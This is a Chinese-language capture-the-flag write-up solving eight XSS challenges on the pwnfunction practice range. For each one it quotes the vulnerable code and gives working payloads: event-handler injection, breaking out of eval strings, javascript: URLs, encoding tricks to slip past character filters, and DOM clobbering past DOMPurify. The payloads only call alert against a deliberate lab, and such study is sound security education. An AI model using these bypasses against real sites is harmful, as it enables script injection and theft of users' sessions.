目录
靶场网址
Ma Spaghet!
分析
解题
Jefff
分析
解题
方法一
方法二
Ugandan Knuckles
分析
解题
Ricardo Milos
分析
解题
Ah That's Hawt
分析
解题
方法一
方法二
Ligma
分析
解题
Mafia
分析
解题
方法一:构造函数
方法二:进制转换
方法三:哈希
Ok, Boomer
分析
解题
靶场网址
https://xss.pwnfunction.com/
Ma Spaghet!
分析
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
get传参接收somebody,如果有就写我们传入的somebody,如果没有就输出 somebody Toucha Ma Spaghet!
对于innerHTML属性,官方禁用了script标签,所以我们可以使用img标签
解题
?somebody=<img%20src=1%20onerror=alert(1)>
Jefff
分析
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
这一关使用jeff接参,多了一个一秒钟退出的定时器,1s之后maname换为Ma name ${jeff}
eval它会直接执行传入的字符串作为代码。
所以我们尝试闭合eval将恶意语句传入
解题
方法一
这一关我一开始的闭合思路是闭合第一个双引号构成一个完整语句,在闭合第二个双引号构成一个完整语句
1";alert(1);"
注意:第二个双引号前面一定要加双引号,否则js会将alert(1)""认为是一个完整语句不符合语法,也就不会执行
最后我看提示发现还可以使用“-”,作为语句的连接符。跟;是一样的
方法二
这第二个闭合思路是从一位师傅身上学到的,他是只闭合了第一个双引号,之后在恶意语句之后添加注释符//
1";alert(1)//
Ugandan Knuckles
分析
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
这一关对<>进行了过滤,然后放入placeholder这个属性中,并且题目要求不允许用户交互,那我们不就可以使用autofocus吗
解题
1" autofocus onfocus="alert(1)
Ricardo Milos
分析
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
form表单的action属性接受传参,2s后自动提交。而对于action属性,我们应该第一时间想到javascript伪协议
对于javascript伪协议,还有a标签的herf属性,,button标签的formaction属性,ifram标签的src属性,windows.location下
解题
ricardo=javascript:alert(1)
Ah That's Hawt
分析
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
这一关过滤了( ) ` \ 四个符号,然后写了innerHTML,那我们不就会想到javascript伪协议吗
解题
方法一
使用location将符号,变量名,函数名都变成字符串
<img src=1 onerror=location="javascript:alert%25281%2529">
方法二
根据js中的解码顺序,我们先将恶意语句转为html实体编码,然后urlencode
<img src=1 onerror=alert(1)>
<img src=1 onerror=alert(1)>
%3Cimg%20src%3D1%20onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%3E
Ligma
分析
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
这一关将数字字母给过滤了,所以就需要一个技巧,将字母数字转换为符号。可以在以下网站进行
https://jsfuck.com/
转换之后还会遇到一个问题,那就是我们拿到的含有+号,会自动解码成空格。我们还需要进行urlencode
解题
Mafia
分析
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
这里过滤了很多符号,还有函数名,还设置了长度。因为JS严格区分大小写,所以换成大写也不行。如果题目没有要求用alert的话,我们其实可以用confirm和prompt。但是我们可以构造函数,就是用大写后面接.source.toLowerCase()再转成小写
解题
方法一:构造函数
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
方法二:进制转换
eval(8680439..toString(30))(1337)
方法三:哈希
eval(location.hash.slice(1))
Ok, Boomer
分析
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
接受boomer,定时器2s后输出ok,使用DOMPurify这个WAF。绕过基本没戏了。但是ok这个元素在哪里呢?
又因为这道题中h2拥有id属性,浏览器会自动在document对象上创建一个同名的属性document.boomer指向该dom元素
那么我们在url中输入 boomer=<img id="ok">不就行了吗?但是注意的是我们不能使用img标签,应该使用a标签,因为a标签在执行时会自动调用toString
并且这个WAF对javascript做了过滤,但是它又对一些其他伪协议做了白名单
解题
boomer=<a id="ok" href="cid:alert(1)">